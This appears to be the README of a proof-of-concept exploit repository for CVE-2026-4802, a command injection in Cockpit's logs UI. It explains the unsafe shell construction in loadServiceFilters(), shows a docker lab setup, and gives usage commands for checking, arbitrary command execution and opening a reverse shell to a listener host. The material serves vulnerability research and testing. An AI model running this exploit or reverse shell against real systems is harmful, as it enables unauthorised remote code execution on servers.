hakaioffsec/cve-2026-4802Proof-of-concept exploit for CVE-2026-4802, a command injection vulnerability in Cockpit's system logs UI, enabling arbitrary command execution and reverse shells.
A proof-of-concept exploit for CVE-2026-4802, a Remote Code Execution via Command Injection in Cockpit's system logs UI (loadServiceFilters())
Build and run the vulnerable environment:
$ docker build -t cockpit-vuln .
$ docker run --rm -d --privileged -p 9090:9090 cockpit-vuln
# Check if target is vulnerable
$ python3 poc.py --url http://localhost:9090 --user viewer --pass viewer --mode check
# Execute arbitrary commands
$ python3 poc.py --url http://localhost:9090 --user viewer --pass viewer --mode exec --cmd "id"
# Reverse shell
$ python3 poc.py --url http://localhost:9090 --user viewer --pass viewer --mode reverse --lhost 10.0.0.1 --lport 4444
pkg/systemd/logsJournal.jsx)The loadServiceFilters() function in pkg/systemd/logsJournal.jsx constructs shell commands by joining arrays into strings with only space escaping before passing them to /bin/bash -ec. User-controlled parameters from the logs page URL fragment (e.g. --since=) reach this code path unsanitized, allowing injection of shell metacharacters such as command substitution ($(...)).
This tool is for educational and research purposes only. Use it only on systems you own or have explicit permission to test. The author is not responsible for any misuse or damage caused by this program.
QuimeraX Intelligence is an advanced EASM and Cyber Threat Intelligence platform specializing in identifying critical vulnerabilities in complex systems. The platform proactively monitors, detects, and alerts clients about security threats, ensuring transparency and rapid response to potential risks. Clients receive immediate notifications and comprehensive reports if their systems are found vulnerable, enabling them to take protective action. learn more
Hakai Security is a cybersecurity company founded by security professionals, committed to technical excellence. We offer tailored security solutions including advanced penetration testing, realistic Red Team simulations, and secure development practices to proactively protect our clients's assets from evolving cyber threats.